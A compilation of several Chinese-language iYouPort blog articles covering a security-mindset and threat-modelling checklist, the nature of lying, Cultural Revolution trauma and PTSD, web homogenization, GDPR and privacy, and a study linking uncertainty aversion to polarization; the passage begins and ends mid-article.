- 我有多大可能做到保护我自己的利益和人身安全？
- 如果我失败，后果会有多糟糕？
- 我愿意花多少钱来防止潜在的后果？

回答完这些问题后，您就可以更好地评估数字安全需求并创建安全计划或威胁模型。你已经拥有了比你想象的更多的力量！

最薄弱的地方就是最危险的地方——

“一环不力满盘全输“，这些古老格言也同样适用于安全性。例如，如果您根本没有窗闩，安装最好的门锁也是没有用的。同样，如果您将

未加密的副本存储在笔记本电脑上并且笔记本电脑被盗，即便您一直在加密电子邮件以便在传输过程中不会被截获，也不会保护该电子邮件的安全。

所以，请考虑您的信息和计算机使用的每个部分、每一个环节，并尝试识别数字安全实践中的任何薄弱环节。

安全性并没那么复杂——

很多人会被他们听到的每一个闪亮的新型安全解决方案所诱惑。但很快他们就会发现，自己使用了这么多工具、并尝试了很多东西，其结果却是无法保持这一切！

正因为拥有过于复杂的安全系统使得识别薄弱环节变得更加困难了。所以，请保持简单。有时最安全的解决方案可以是技术含量最少的解决方案。计算机可以用于许多事情，但有时简单的笔和便条纸的安全问题可以更容易理解，因此更易于管理。

最贵的不一定就是最好的——

有钱人，羡慕你。不过要知道，最昂贵的安全解决方案不一定就是最好的; 特别是如果它夺走了别处所需的资源的话，那就是得不偿失。在将垃圾扔掉之前请彻底粉碎纸张上印有的任何文字信息和二维码（我经常能在任何地方捡到极高价值的废弃物，令人惊讶，幸亏我不是坏人）

真的提请注意，这些生活小细节非常重要。也就是我们在社交工程演示系列中多次强调的。其实诸如检查垃圾这类很低成本的措施都可以为您带来更多的安全保障。

可以信任，但必须知道你信任的是谁——

计算机安全建议最终可能听起来就像你应该完全信任除了你自己之外的任何人……呃？

在现实世界中，您几乎肯定会相信很多人至少拥有一些您的隐私信息，从您的亲密家庭或同伴到您的医生或律师。这正是数字空间中最棘手的问题：了解你信任的人是谁，以及你给了他什么。

您可以向律师提供一份密码列表：但是您应该考虑，这些信息可能给他们带来什么样的权力—— 或者说如果是一个恶意行为者拿到这些东西后能干什么。您可以在 Dropbox 或 Google 等云服务中编写仅供

您自己使用的文档：但您也同时允许了 Dropbox 和 Google 访问它们。

记住，不管是在线还是离线，与您分享秘密的人越少，您保密的机会就越大。

没有真正完美的安全计划——

还是那句老话：安全性是相对的，就像锁自行车，你只需要比旁边那些锁更牢固就行了。

所以，请制定适合您的安全计划，了解您面临的风险，了解您和您的同事将采取的实施步骤。如果现实难以理解，那么纸上的安全计划即便再完美也无法运作。

今天的安全不一定就是明天的安全——

别怕，这只是意味着您需要持续重新评估您的安全实践，这至关重要。仅仅因为它们满足了去年或上周的安全，并不意味着它们现在仍然安全！

请持续关于安全性建议的网址，因为我们会尽可能快地更新我们的建议，以反映我们对数字安全的理解和现实的变化。

请记住：安全是一个持续的过程。〇

原文

保护安全需要一系列思考方式，而不是哪个软件 - iYouPort

为什么

很多读者留言询问这个软件怎么样、那个行不行，这些读者都是真正注重隐私安全的人，对此我们非常高兴。不过，保护安全是保护自己的安全，它不是说别人认为足够好的东西也适合您。就像同样是汽车，有人需要防撞杆，而有人必须整体装甲才行。于是，对于安全性来说最基本的是需要一些思考方式，它非常简单，我们曾经陆续介绍给，这里稍微总结一下。

简单说就是，在考虑您自己的数字安全性时，请考虑以下这些基本提示。

「图」

「图」

知识就是Power——

良好的安全决策始于对自身面对的情况有一个全面的了解。于是首先问自己以下问题：

- 我想保护的是什么？
- 我面对的敌人是谁、敌人想要的是什么？
- 我有多大可能做到保护我自己的利益和人身安全？
- 如果我失败，后果会有多糟糕？
- 我愿意花多少钱来防止潜在的后果？

回答完这些问题后，您就可以更好地评估数字安全需求并创建安全计划或威胁模型。你已经拥有了比你想象的更多的力量！

最薄弱的地方就是最危险的地方——

“一环不力满盘全输“，这些古老格言也同样适用于安全性。例如，如果您根本没有窗闩，安装最好的门锁也是没有用的。同样，如果您将

未加密的副本存储在笔记本电脑上并且笔记本电脑被盗，即便您一直在加密电子邮件以便在传输过程中不会被截获，也不会保护该电子邮件的安全。

所以，请考虑您的信息和计算机使用的每个部分、每一个环节，并尝试识别数字安全实践中的任何薄弱环节。

安全性并没那么复杂——

很多人会被他们听到的每一个闪亮的新型安全解决方案所诱惑。但很快他们就会发现，自己使用了这么多工具、并尝试了很多东西，其结果却是无法保持这一切！

正因为拥有过于复杂的安全系统使得识别薄弱环节变得更加困难了。所以，请保持简单。有时最安全的解决方案可以是技术含量最少的解决方案。计算机可以用于许多事情，但有时简单的笔和便条纸的安全问题可以更容易理解，因此更易于管理。

最贵的不一定就是最好的——

有钱人，羡慕你。不过要知道，最昂贵的安全解决方案不一定就是最好的; 特别是如果它夺走了别处所需的资源的话，那就是得不偿失。在将垃圾扔掉之前请彻底粉碎纸张上印有的任何文字信息和二维码（我经常能在任何地方捡到极高价值的废弃物，令人惊讶，幸亏我不是坏人）

真的提请注意，这些生活小细节非常重要。也就是我们在社交工程演示系列中多次强调的。其实诸如检查垃圾这类很低成本的措施都可以为您带来更多的安全保障。

可以信任，但必须知道你信任的是谁——

计算机安全建议最终可能听起来就像你应该完全信任除了你自己之外的任何人……呃？

在现实世界中，您几乎肯定会相信很多人至少拥有一些您的隐私信息，从您的亲密家庭或同伴到您的医生或律师。这正是数字空间中最棘手的问题：了解你信任的人是谁，以及你给了他什么。

您可以向律师提供一份密码列表：但是您应该考虑，这些信息可能给他们带来什么样的权力—— 或者说如果是一个恶意行为者拿到这些东西后能干什么。您可以在 Dropbox 或 Google 等云服务中编写仅供

您自己使用的文档：但您也同时允许了 Dropbox 和 Google 访问它们。

记住，不管是在线还是离线，与您分享秘密的人越少，您保密的机会就越大。

没有真正完美的安全计划——

还是那句老话：安全性是相对的，就像锁自行车，你只需要比旁边那些锁更牢固就行了。

所以，请制定适合您的安全计划，了解您面临的风险，了解您和您的同事将采取的实施步骤。如果现实难以理解，那么纸上的安全计划即便再完美也无法运作。

今天的安全不一定就是明天的安全——

别怕，这只是意味着您需要持续重新评估您的安全实践，这至关重要。仅仅因为它们满足了去年或上周的安全，并不意味着它们现在仍然安全！

请持续关于安全性建议的网址，因为我们会尽可能快地更新我们的建议，以反映我们对数字安全的理解和现实的变化。

请记住：安全是一个持续的过程。

原文

别全信和别较真儿 - iYouPort

为什么

你怎么定义撒谎？也许你觉得很容易定义它，“与事实不符就是撒谎”。没错，但是这事并没这么简单。

最基本的层面上，撒谎分为两种，主观的和客观的。客观的是指说者所言并非事实；主观的是指听者认为说者所言的并非事实。那么其中哪一个与事实之间的关系最为接近呢？事实上都不怎么接近。因为一方面说者有可能自己并不知道什么是事实，而另一方面也许听者自己所认为的事实并不是真的事实……好吧有点绕嘴，总之，说谎这个概念很复杂，而且，理解它的复杂性非常重要，因为它事关民主的生命力。

Dan mallory 的第一部小说，一部心理惊悚作品，进入了纽约时报畅销书排行榜第一名。他是一个英俊而迷人的男人，但是，根据“纽约客”最近公开的个人资料，他也是一位奢靡的骗子：他的很多美化自己的宣称都是假的。他用电子邮件冒充他的兄弟来支持这些谎言。

如果你问一个人*语言是干什么用的*，很多人都会回答：“沟通”；有些人可能会补充说，“传达有关世界的信息”。但像 Dan mallory 这样的惊人案例表明，情况并非如此。有时人们会说谎。然而，他的故事看起来很古怪，从某种意义上说，他对语言的使用可能并不那么不寻常。

斯坦福大学的一项研究调查了陌生人之间超过1000次五分钟的对话；每个被标记的话语或多或少是一个完整的言论，范围从“我，我在法律部门关注”、到普通的“不”。他们发现，只有**36**%的话语基本能称为事实陈述。

那么发言者在剩下的时间里做的都是什么呢？其中一个最大的类别（占据19）是“Acknowledge（Backchannel）”：就是像“嗯嗯”这样的东西。另外5%的话语是“同意—接受”回应（比如 “就是这样”）；2%是“欣赏”（比如 “我能想象”）。而人们花费大量的时间对话，只是让自己知道对方在听。对话就是一种被倾听的合作。

换句话说，传达关于现实的事实只是语言的功能之一。语言也是创造新现实的工具：在谈话的情况下，它是社会纽带—— 俗称社会理毛。就像猴子的世界里，两只猴子互相梳理毛发的过程就是表达亲密，人类通过语言来实现这点。

从这个角度来看，Dan mallory 的谎言看起来不像是一种失常，更像是一种极端的社会表现形式。他没有详细评论丑闻，但也许他希望世界认为他有两个博士学位只是希望受到喜爱和钦佩。大多数人都想要这些东西。

有时，这也可称之为“富有表现力”的语言。以宗教信仰为例。今天许多基督徒承认他们怀疑圣经的神迹。但他们会愉快地背诵尼西亚的信条—一种信仰的陈述，包括耶稣的身体复活—而不是觉得自己是撒谎者或伪君子。如果旨在传授一个事实的话，那这个事实就不是“耶稣复活了”，而是“我是基督徒，我说这些很重要。”

许多有思想的现代神学家与维特根斯坦这样的哲学家都以这种方式看待信条。如果他们是正确的，无神论者对圣经故事的揭穿就没有任何意义。

宗教并不是人们说话只是为表达自己而不是为提出事实的唯一背景。正如唐纳德特朗普在12月所说的那样，巴拉克和米歇尔奥巴马在他们家周围有一堵高墙，但很快被证明是假的。

可是特朗普很容易接受这种传闻，事实上稍微检查一下就知道是假的了，但他没想过要做任何检查。因为他正在传达一些关于他自己的东西（在这种情况下，是他对自由派伪君子的蔑视，无论他们是否真的有一堵墙），而不是对世界说真话。

当人们选举他时，他的许多支持者想要的是一个战士，而不是维基百科的编辑。

所有这些都可能导致困难。大多数人，当他们说话时，都期望留有自己的观点、夸张的、自我表达的、逃避的或讽刺的余地—— 所有细节、讽刺和混淆构成了人与人之间如此多的对话。

然而，当其他人说话时或错过相关线索时，往往不足以弥补这些细微差别。考虑一下，当你女朋友说“我没事，我很好，你忙你的吧” 的时候，从字面上理解它就是非常天真的。更严重的，你可能会因此失恋。

难道人类世界没有事实吗？不，当然有。确实存在所谓的事实的地方：比方说法律证据，或科学研究。但这些是例外—在人为调节的环境里言语的天然缺陷是非常突出的。如果人们一直使用法庭和科研的方式交流，那么人类的对话就会听起来会非常奇怪。

麻烦是明显的。所有人都希望通过新闻了解到事实，新闻原则要求记者尽可能做到客观中立，实际上完全做到这点基本不可能。因为记者在99%的情况下不是目击者或当事人，他们通过对目击者和当事人的采访并记录回复以呈现事件。

而在激烈的事件中，他们的采访对象往往会带有鲜明的个人情绪，他们对采访的回应是存在夸张的、自我表达的、甚至讽刺性的。如果记者只是记录者，那么我们所有人看到的都只能是自我表达，而不是事实，那看 Twitter 是不是更简单呢，而无需看新闻了。

不过，人们不会揭穿很多新闻的夸张性，只要他们的目标是正义的。但作为新闻业工作者，绝不能满足于“一个善意的目标”而放弃对事实的追求—— 这点正是宣传机构和专业新闻的主要区别：宣传机构全面为了自我表达而表达，专业新闻追求客观真实，他们会采取不同角度呈现不同立场和利益方的陈述，采集第三方数据，并加以分析。

如果说以上事实没有让你彻底沮丧的话，最好的有利之处就是，每个人都能意识到语言是非命题的。你可以采取谈论更多话题的策略来淡化这一问题所带来的影响。问一个对话者，“你是在表达自己、还是提出一个事实？”可能会有点尴尬，但这样至少可以防止误解。

原文

在中国：为什么经历文革十年的那代人至今“执迷不悟”？ - iYouPort

为什么关于中国社会

网上经常会流传出一些关于当下中国中老年群体怪异文化现象的视频，它们所透露的是经历过文革的那代人中部分人士对灾难十年的迷恋。观察者对此感觉诧异，众所周知，文革运动令所有人都成为了受害者，施虐和受虐角色在同一个人身上的轮换是其最典型的特征之一，然而很多文革幸存者显然至今都没能摆脱受创惯性，大跳忠字舞、延续旧有的权威崇拜，这些仿佛与世隔绝的现象在信息高度流动的今天看起来似乎不合逻辑。

多年来人们给出了不少解释，从洗脑的威力到人格问题，从“坏人变老了”到斯德哥尔摩症候群，但一个明显的主要原因一直被忽视 ——经历者在文革结束后无一接受过专业的心理康复辅导，并继续沉浸在党文化一家独大的社会环境中。在他们潜意识里，某种程度上可以说文革并未结束，而高调崇毛等一系列行为则是受创者对“心理情境”之延续的一种表现。

人类对暴行的一般反应是将其排除在意识之外的，这是一种应激反应，会让深陷其中的人获得一些心理安慰，也是某些违常经历恐怖到让人难以清晰地表达出来。痛苦被偷换了，被大脑的逃避性制造出来的幸福感所遮蔽，不少人至今都在怀念毛时代，他们有可能是真的在怀念。

这是所有创伤经历者的共性。无论是公共领域和私人领域之间、个人和社群之间、男性与女性之间，受虐妇女和政治犯之间，独裁政府建立的大型集中营和家庭暴力建立的隐蔽的小型集中营之间，在此都存在着高度的关联性。

「图」

「图」

协助的难度和基本思路

暴行拒绝被掩藏湮没。否认暴行存在的欲望虽然强烈，但自身认为否认于事无补的心态同样强烈。想要重建社会秩序，让受害者得到应得的抚慰，首要任务就是要揭露暴行，揭露真相。

受害人最具标志性的矛盾心理就是：既希望抹去受害记忆“翻过这一页重新生活”，同时又很希望将其公布于世，这是心理创伤协助中面对的主要冲突。幸存者通常会高度情绪化、自相矛盾和零碎片段的方式诉说惨痛遭遇，而正是这种方式损伤了他们的可信度，他们自己也被迫进入了究竟是不是要说出来的两难困境。

文革运动中这种状况尤其突出，由于很难找到从始至终绝对正义的人，如同很难找到纯粹的受害者，大多数人都扮演着多重角色，人类具有不擅长正视自己的通病，于是经历者所描述的记忆、甚至忏悔的片段，都很容易脱离事实，这便愈发加重了康复的难度。

只有彻底认清真相，幸存者才有可能迈向康复之路。可惜事实上，大多数时候保持缄默的心态赢了，创伤经历不是通过语言、而是通过精神状态的方式行诸于外。

那些经历过迫害而被周边人认为“变了”的人们，其心灵受创程度已足够深刻，受创者会交替出现麻木无感和创伤事件重现两种不同的症状，这种对立冲突点引起时有时无的、复杂的意识形态改变，就是精神病学家称之为“解离 dissociation”的症状。

甚至目击者也和受害者一样，受到由创伤引发的对立冲突的折磨。目击者很难保持头脑清晰并冷静以对，很难对即时事件以整体性的观照，很难记住所有细节，也难以将细节串联起来，更难的是要找到适当的并有说服力的言辞将事件真相传达给他人。因此，这些目睹暴行的人也要承受被质疑的风险。当有人公开说出暴行见闻时，他也可能要承受类似受害者所蒙受的污名。

对残酷暴行的认知会周期性地成为公共议题，但从来不会持续太久，否认、压抑和解离反应并不会只发生在个人身上，也会发生在整个社会的层次上。

临床医生都知道，当被压抑的想法、感觉和记忆浮上意识层面时，通常会是一个洞察心理创伤的良机，这样的时机会发生在整体社会的历史里，也会发生在个人生活中。

长期生活在恐怖情境中的人，其所蒙受的心理创伤是可预期的。创伤造成的异常范围有一个光谱，从单一巨变事件的影响，到长期不断受

虐的复杂影响。既有的精神疾病诊断观念通常难以识别受创对个体的冲击。由于创伤性症候群有很多相同的基本特征，因此复原过程也存在大致相同的途径——主要阶段为：建立安全感、还原创伤事件真相、修复幸存者与其社群之间的关联性。

> “战争和受害者都是社会急于忘却的，任何痛苦和不快都会被覆上遗忘的纱幕。我们能看到两边的正面冲突：一边是受害者，他们可能想忘掉，却忘不了；另一边是那些极力想要遗忘也成功办到了的第三者……其实对两边而言都是非常痛苦的，而弱势一方，在这场无声且不平等的对话中，永远是输家”。—— 纳粹集中营幸存者创伤问题研究专家 Leo Eitinger

为什么中国社会的 **PTSD** 问题难以解决

前段时间，一则旧消息被中文网络翻了出来，并当作笑话在传播：《柳叶刀》月刊通过中国4省超过6万人的调查数据得出中国17%的人存在精神障碍，并推算中国存在1.73亿精神疾病患者（见下图）。其实17%的比例并不奇怪，中国社会最严重的精神疾病当属 ptsd，文革、八九屠城、维稳时代长期的政治骚扰和政治迫害、父权主义家暴、性侵、家长制的童年压迫、参加过各种战争的退伍兵…… 这还没算上各种大型的致命的自然灾害，如汶川、唐山。不过调侃17%的段子中，说者很可能没有这个概念。

「图」

「图」

在中国，大多数人都没这个概念，甚或并不认为幸存者的表现属于精神疾病。为什么会这样？先讲两个故事。

法国神经病学家 让-马丁·沙可（Jean-Martin Charcot）是歇斯底里症研究的开创者，他曾经工作在法国巴黎的萨尔佩特里埃一间古老的医院，这里一直是社会底层无产阶级的收容所，接纳的都是乞丐、妓女、贫困潦倒的精神病患。很多才华横溢野心勃勃的神经学家和精神科医生都是沙可的追随者，其中最著名的几位就是：皮埃尔让内、威廉詹姆斯，和弗洛伊德。

在那个年代，没人相信歇斯底里症，就像如今的人们嘲笑文革经历者、遭受监禁和酷刑出狱后精神错乱的政治迫害幸存者，那个年代的人们对歇斯底里症患者有着同样的态度。也因此，没有人会把它当成

一项研究事业来做。弗洛伊德曾因此盛赞沙可的工作，称他重建了这个议题的尊严。正是沙可的工作让很多人改变了对歇斯底里症的嘲弄态度。

沙可是幸运的，因为他恰逢一个得意的社会背景。

19世纪的法国最主要的政治冲突就是拥护既有的宗教结合君主专政的人，与拥护政教分离、主张建立共和体制政府的人之间的斗争。法国大革命以来，这种冲突造成了七次政府垮台。随着1870年第三共和的建立，崭新但脆弱的民主政体的创始者发动了一场富有攻击性的运动，以巩固自身权力基础，并打击和削弱他们的对手——天主教会。

这个时期的共和政府领导人都是些白手起家的男人，属于新兴中产阶级，他们视自己为捍卫启蒙运动传统的代表，他们的对手是贵族政治和神权政治。主要政治斗争是争夺教育的主导权，意识形态的斗争则是男人的忠诚和对女人的所有权。而沙可的父亲是一位有名望的商人，他自己则是这个新兴中产阶级精英中的精英，他家的客厅就是第三共和政府一些达官显贵的聚会场所。

沙可和官场上的同僚都极力宣扬去宗教化的科学观念，他对歇斯底里症的研究正是用来证明去宗教化观念体系比宗教体系正确有用的。因此，**19**世纪末法国社会有了这个庞大且具有政治性的理由，才激起了对歇斯底里症的热切兴趣。

「图」

「图」

然而，时间进入20世纪后，这种政治推动力渐渐消散了，不再有任何充分理由让男性科学家继续维持研究的初衷。沙可从歇斯底里症的世界中撤退出来，与此同时，弗洛伊德的合作者 约瑟夫布洛伊尔也从对女性的情感依附研究中退出了。

随后，弗洛伊德也从心理创伤的研究中退出了。由此成为弗洛伊德一生中最大的耻辱。他的改变论调被对手攻击为个人怯懦的表现。其实不无道理，怯懦是有时代背景的，在当时，任何知识的跃进都会被视为孤独的普罗米修斯般的叛逆行为，不论他的论点多么的强有力、观察多么的有效，在一个缺乏对研究课题支持的社会氛围中，他的个人努力一文不值。

唯一有可能对此予以支持的就是当时正在萌芽状态的女性主义运动，

但这个运动恰恰严重威胁到弗洛伊德所珍视的父权价值观。让弗洛伊德的政治信仰和女权主义运动同流，是绝无可能的，他选择了心理创伤研究与女性划清界线。

歇斯底里症的研究就是学术进入PTSD研究的门槛。然而在当年就这样被荒废了。在美国，退伍军人中高达1/3的士兵患有不同程度的PTSD，社会自杀率是每10万人中有8.9人，而退伍军人则达到每10万人中至少18.7人，是普通平民的两倍多。为治疗PTSD政府花费了大笔金钱，然而依旧有大半患者没能接受正规协助。

对这一课题的研究起步也非常晚，曾经很长一段时间以来，军方和社会的主流观点是，认为这些**PTSD**患者属于诈病—— 是个人懦弱和对敌人的胆怯的表现。直到第二次世界大战期间，主流治疗策略依旧是，追求最快速的将军人重新送回战斗岗位。只因那个时候，整个社会被以战胜为荣的爱国主义情感驱动着，没人在乎“逃兵式的”的心理疾患。

直到越战之后，对战争引起的长期心理影响才有了系统且大规模的研究。最值得一提的是，当初研究的动力并不是来自于军方或医学界，而是一群心怀不满的退伍军人有组织的努力。

这个组织名叫“越战退伍军人反战组织”（Vietnam Veterans Against the War）。这些反战的退伍军人组成了所谓的“交谈团体”，在与战友的私密聚会中重述和再现创伤过程。他们不愿向政府机构寻求救援，他们要待在自己的地盘、做自己的主人，而不是一个听任摆布的病患。

「图」

「图」

“交谈团体”有双重目的：**1**、给予受到心理创伤的退伍军人以精神上的抚慰；**2**、唤起社会对战争效应的关注。正是他们的证词，激发了社会对战争带来的长期心理创伤的注意，这是个非常出色的社会运动。

反战运动的道德正当性和全国笼罩在不名誉的战败气氛中，使得社会承认战争造成长期心理创伤后遗症这一突破变得可能。1980年，有史以来第一次心理创伤独特症候群成为一个真实存在的诊断项目。

我想说的是，要让创伤的事实达到大众的注意，需要有意愿相信并保

护受害者、还能让受害者和目击者联合起来的社会背景。对社会大众而言，这种社会背景要靠争取弱势群体发言权的政治运动来创造。

因此，对心理创伤的系统研究也需要倚靠社会运动的支持，这样的研究是否有可能进行公开讨论其本身就是政治问题。这是个双向作用力，研究反过来也会促进社会对“送年轻人上战场”的质疑、认清女性和儿童社会地位低下的事实，通过理解政治犯的精神疾患来认清独裁政府的政治迫害所造成的灾难，从而联合起来对抗社会上的否认和当权者的噤声要求。

如果没有要求人权的强大社会运动，没有积极的挺身而出做见证的行动，这类研究将无可避免的被压制和遗忘所取代。PTSD患者最典型的压抑、解离和否认的现象不止存在于社会意识中，也存在于个人意识里。

在中国，如果没有抵制暴政的大规模社会运动，就不会有对遭受政治骚扰和迫害的PTSD患者的有效协助，如果没有对文革运动的深刻反省，文革经历者就很难接受到合理的协助，如果没有冲击父权制家长制传统的社会运动，对家暴和童年迫害受创者的抚慰不过是隔靴搔痒。

原文

异议的消亡：为什么网络变得同质化 - iYouPort

为什么

这个互联网的经济模式正在杀死异议。 换句话说，我们将只剩下官方生成的和批准的政治宣传、以及”被允许”的异议。 为什么？ 不，并非审查

「图」

「图」

换句话说，我们将只剩下官方生成的和批准的政治宣传、以及“被允许”的异议。

而这并不是全部。

更多的问题在于—— 网络的同质化，即 独立的怀疑和异议的声音被消除和不信任。

这种同质化有四个驱动因素：#以消除网络宣传和虚假消息为借口的、针对异议的系统性镇压—— 换句话说，持不同意见者被称之为“假”，作为沉默批评者和怀疑论者之恶行的掩护；

- 流向网络出版商和小型独立出版商的广告收入大幅下降；
- 现在，大部分广告收入流入了监视资本主义的 Facebook 和谷歌的金库；
- 出版商越来越依赖这些垄断性平台的读者群和能见度：任何与 Facebook 和谷歌发生冲突的出版商都会有效被消失。

1. 如下图所示，数字市场的大部分广告收入都被 Facebook 和谷歌抢走了。
2. 很少有人点击网站广告；换句话说，这些广告根本没什么用，并且产生的大部分收入都来自点击欺诈，即 机器人而不是真正的人点击的。因此，广告客户在搜索不易受点击欺诈影响的广

告模式时，就会选择远离这些类型的广告。

- 网络越来越多地转移到移动设备，由于显示器的小尺寸，其只能具有较少的广告位。此外，主要的第三方广告服务（如 Google Adsense）会限制出版商网站上展示的广告的数量和大小。

除 FB 和谷歌以外的所有人的广告收入被系统性侵蚀这一事实在任何地方都是显而易见的。数字出版商 BuzzFeed 有可能大幅削减其收入目标，这是最新的迹象，表明在线广告业务的麻烦使得网络媒体难以实现高远的期望。

由于这两种动态同时发生—— 以限制假新闻为借口的对不同意见的审查、以及广告收入的减少—— 独立出版商正在失势。

虽然那些在 Facebook 和其他社交媒体网站上发布的内容几乎没有期望通过其内容本身货币化，许多网络出版商从广告或附属收入中获得足够的回报（例如来自 YouTube 频道）证明他们花费了大量时间和精力来保持他们的频道/网站的运营。

随着广告收入减少，出版商只剩下两种其他的收入模式：订阅服务或 Patreon，即用户/读者/观众的直接财务支持。主要出版商正在努力建立一个足以为其运营提供资金的订阅基地，由于大众期望所有内容都是免费的或应该是免费的，因此这项任务变得更加困难。

Patreon 一直是数千名独立作家、记者、漫画家、电影制作人和其他内容创作者的福音。 Patreon 模型并非基于仅向订阅者提供的付费墙背后的内容，而是基于向选择贡献的人提供内容或其他的奖励形式。

Patreon 模型仅在足够的用户/读者/观众加强支持他们重视的内容创作者时才有效。我认为 Patreon 的成功表明很多人都愿意支持他们重视的内容创作者。但是，与所有自愿收入模式一样，存在免费搭载问题：可能有点收入的人选择不这样做，并且本质上是免费搭载那些为内容做出贡献/付费的少数人。

有些人已经将微支付模型推进为公平补偿内容创建者问题的解决方案。虽然这种模式有一些明显的好处—— 如果内容创建者的观众群足够大，那么访问者可能会为内容创作者增添活力—— 但它仍然是一个自愿的系统，因此它将与其他所有自愿支付内容的想法一样具有相同的免费搭载问题。

在社交媒体上发布“免费”内容最终会将广告收入推向社交媒体和搜索垄断巨头，而不会为内容创作者留下任何东西。

如果我们留下的是“免费”内容（即创作者没有收入）、Facebook、谷歌和标题党链接农场的耸人听闻的头条新闻，我们最终会得到一个完全同质化的网络，由游说者、娱乐业和精英基金会/智库承保的“被批准的内容”，即 几乎没有真正的异议或独立分析的多样性。

换句话说，我们将只能留下官方生成的和批准的政治宣传和“被批准的”异议。

简而言之，网络正在成为奥威尔式的天地。有许多被批准的“多样性意见”，而真正的异议被边缘化，被视为托管内容完善的风险。

顺便说，IYP 从来没有收入，虽然我们绝对不想协助互联网同质化的虚空。于是，我们需要读者的协助，如果您觉得我们提供的知识对您有用的话。

The Demise of Dissent: Why the Web Is Becoming Homogenized? In other words, we’ll be left with officially generated and sanctioned fake news and “approved” dissent.

原文

把你的隐私控制权交给任何人都等于剥夺隐私 - iYouPort

为什么

简单的事实就是，隐私是个人的；不是由每个公司不同的隐私政策和服务条款所提供的

「图」

「图」

如果你指望法律法规能保护你的隐私，那就只能等着被骗了。这些法规很多时候只会让事情变得更糟。

如今人们都知道了欧盟的 GDPR 有多糟糕（详见下文）为了继续使用服务和阅读网页，绝大多数用户只能选择“同意跟踪”。

- 《为什么隐私保护法规并没能起到作用？》
- 《为什么说欧洲新法规反而会加强 Facebook 和Google 的霸权？》
- 《从跟踪脚本数量看 Google 是 #GDPR 的最大受益人#GDPR 的最大受益人》
- 《意想不到的后果：GDPR 反而破坏了隐私 GDPR 反而破坏了隐私》

产生的摩擦也有很大的商机。要了解有多大，请在 Google 上搜索 GDPR + compliance。你将得到1.9亿个结果。这些结果都不适合您，即使您是 GDPR 应该保护的人也一样。请注意，对于 GDPR 来说，您仅仅是“数据主体”，而不是互联网通过设计支持的技术、社会和经济生态系统中的独立且功能齐全的参与者。

或者至少这是几乎每个立法者、监管官员、律师和服务提供商都要遵循的解释。对于那些销售 GDPR 合规服务的人来说也是如此，他们在1.9亿个结果中占据大多数。

这些服务的客户几乎包括地球上每一个收集个人数据的网站和服务。这些实体没有经济动机以通常的方式停止收集、共享和销售个人数据，除了担心 GDPR 可能的实际制裁之外（除了极少数例外）。因此，这些网站和服务很容易在他们的网站上发布这些通知。

为了让您在每个网站上积极“管理”您对数据收集者的曝光程度，需要进入一个无法实现的泥潭。在这里看到演示过程。

这个世界仍然没有共同的或标准的方式来扩展我们对所有这些公司的选择或经验，如果我们想要真正的在线隐私，标准正是我们所需要的。

简单的事实就是，隐私是个人的，这意味着我们为自己创造的东西——就如在自然界中我们用衣服和住所保护的东西，这两者都缺乏在数字世界中的等价物。隐私不是由每个公司不同的隐私政策和服务条款所提供的，而且我们都无法控制。特别是当那些同样的公司非常努力地使自己尽可能地远离可信赖标准的时候。

于是，我们保护隐私的努力必须在个人方面加强。我们使用标准和协议来实现它，这些标准和协议已经为我们提供了网络、桌面、电子邮件和其他内容。我们也需要用它来保护我们的隐私。很快就应该开始。

如果没有这样的工作，隐私仍将是一大批违规者的空洞承诺。

如果我们愿意，我们也可以将 GDPR 利用起来。这是因为 GDPR 第4条将数据控制者定义为“自然人或法人，公共权力机构，代理机构或其他机构，单独或与他人共同确定处理个人数据的目的和方式……”。

换句话说，我们每个人都可以成为我们自己的数据管理员。大多数处理 GDPR 的律师都不同意这一点。他们认为个人数据主体总是需要某种信托或中间人。但简单的事实是，我们应该在线控制我们自己的生活，这意味着在一定程度上控制我们的数据暴露，以及我们如何使用有关我们的一切数据。

If you think regulations are going to protect your privacy, you're wrong. In fact they can make things worse, especially if they start with the assumption that you have no privacy besides what you get from other parties.

原文

是什么驱动着意识形态上两极分化？：新研究有一个新发现 - iyouport

为什么

如果您的运动不能给大众以未来的希望，您的对手就将笼络大部分人心

事先声明，我们无法确定这个研究的准确性，因为我们对脑神经学一无所知。不过这个研究结论很有趣，它很可能符合很多人的经验，即：那些“立场坚定主义真”的人，是事实上在推动两极分化的人。

在去年底的对话中，我们强调了为什么要“超越左右”，我们应该着眼于愿景，而不是意识形态；探讨那些能让大多数人满意的解决方案，而不是“保持队形整齐”。这不仅是解决极化问题的关键，也是维护民主生态的必需 —— 极化状态下没有民主。

媒体经常惊讶于“全球右转”，但很少有人真的能冷静下来思考一下左翼为什么会失败（比如这样《荷兰左翼的崩溃说明了什么》）；大众只对一件事有普遍清晰的判断，那就是：谁有未来；如果您的运动不能给大众以未来的希望，您的对手就将笼络大部分人心。

> 如果您没有计划，您就必然会成为他人的计划的一部分。

如果您能放下主义，着眼于解决问题，将更有希望开启有价值的民主协商。

60多年前，德怀特·艾森豪威尔总统从他繁忙的日程中抽出时间，回答了一位身患绝症的二战老兵的来信。这位名叫罗伯特·比格斯（Robert Biggs）的患病者曾恭敬地批评艾森豪威尔近期的讲话投射出一种不确定的感觉，他解释说：“我们等待某人为我们讲话，如果讲话是真实的，就完全支持他”。

而这位第34任总统认为，民主国家的人民应该警惕在重要问题上对“有确定感”的需求。

艾森豪威尔对比格斯说："我怀疑公民是否能够在我们的民主体制下获得普遍的确定性，对他们是否能理解我们的问题的信心以及您认为需要的更高权威的明确指导 …… 团结不仅是合乎逻辑的，而且在一个成功的军事组织中确实是不可或缺的，但在一个民主中，辩论是生命的气息。"

虽然有些人争论两党关系是否可取，但科学杂志《美国国家科学院院刊》（PNAS）上的一项最新研究显示，当艾森豪威尔观察到那些需要意识形态确定性的人实际上助长了政治两极化时，他至少可能是正确的。科学家们监测并分析了参与政治的人的大脑活动，发现无论他们是自由派还是保守派，他们至少有一个共同的特征：如果人们对不确定性的感觉有强烈的厌恶，他们的意识形态和对事件的看法往往会变得越来越两极化。

科学家们招募了几十名参与者，自由派和保守派都有，参与者被要求观看的视频片段包括一部自然纪录片，一个关于政治上有争议的主题的中立新闻片段，以及2016年副总统辩论的片段。Jeroen van Baar 博士是这项研究的合著者，他现在是荷兰心理健康与成瘾研究所 Trimbos 的研究助理，他解释说，他和他的同事注意到，当参与者观看2016年蒂姆·凯恩和迈克·彭斯之间的副总统辩论中 "一个极化的视频片段" 时，他们的大脑活动看起来有所不同。

"当参与者观看一个自然视频时"，范·巴尔解释说，"他们的大脑看起来是一样的"。

大脑活动 "看起来" 相同或不同到底是什么意思？科学家们使用了一种叫做 "大脑间同步" 的技术。

